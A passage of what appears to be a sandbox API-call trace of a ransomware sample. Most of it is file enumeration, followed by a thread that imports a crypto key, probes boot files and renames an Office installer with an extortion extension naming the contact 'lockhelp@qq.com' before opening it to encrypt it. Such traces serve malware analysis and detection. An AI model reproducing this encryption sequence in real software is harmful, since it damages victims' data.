ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0055.741] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.741] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0055.874] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.883] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0055.888] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0055.895] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0055.904] FindNextFileW (in: hFindFile=0x593220, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0055.904] FindClose (in: hFindFile=0x593220 | out: hFindFile=0x593220) returned 1 [0055.905] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0055.905] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0055.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0055.914] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.914] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0055.914] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0055.930] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0055.942] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0055.953] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0055.966] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0056.305] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0056.311] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0056.884] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0056.897] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0056.906] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0056.911] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0057.048] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 0 [0057.048] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0057.049] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0057.049] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0057.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593260 [0057.055] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.055] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x701d, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0057.056] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726438ff, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726438ff, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0057.060] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0058.635] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x213d, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0058.643] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0058.648] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0058.657] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0058.657] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0058.663] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0058.670] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0x0, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 Thread: id = 56 os_tid = 0xbec [0046.981] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11f6fc8 [0046.981] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x1206fd0 [0046.982] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x28) returned 0xb865f0 [0046.982] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x110102) returned 0x32a0020 [0046.983] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb86620 [0046.983] CryptImportKey (in: hProv=0x585138, pbData=0x318fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd70 | out: phKey=0x318fd70*=0x58bce8) returned 1 [0046.983] CryptSetKeyParam (hKey=0x58bce8, dwParam=0x1, pbData=0x318fd58, dwFlags=0x0) returned 1 [0046.983] CryptDecrypt (in: hKey=0x58bce8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86620, pdwDataLen=0x318fd24 | out: pbData=0xb86620, pdwDataLen=0x318fd24) returned 1 [0046.983] CryptDestroyKey (hKey=0x58bce8) returned 1 [0046.983] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0046.983] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0046.983] Wow64DisableWow64FsRedirection (in: OldValue=0x318fdc0 | out: OldValue=0x318fdc0*=0x0) returned 1 [0046.983] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86620 | out: hHeap=0xb80000) returned 1 [0046.984] ResetEvent (hEvent=0x12c) returned 1 [0046.984] SetEvent (hEvent=0x138) returned 1 [0046.984] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0046.984] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.984] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0046.989] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0046.990] ResetEvent (hEvent=0x12c) returned 1 [0046.990] SetEvent (hEvent=0x138) returned 1 [0046.990] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0046.990] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0047.310] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x318fd60 | out: lpFileSize=0x318fd60*=0) returned 1 [0047.310] CloseHandle (hObject=0x198) returned 1 [0047.310] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0047.310] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0047.310] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x318fd60 | out: lpFileSize=0x318fd60*=2506240) returned 1 [0047.310] CloseHandle (hObject=0x198) returned 1 [0047.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0047.310] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0047.311] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0047.311] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0047.311] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0047.311] ReadFile (in: hFile=0x198, lpBuffer=0x32a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: 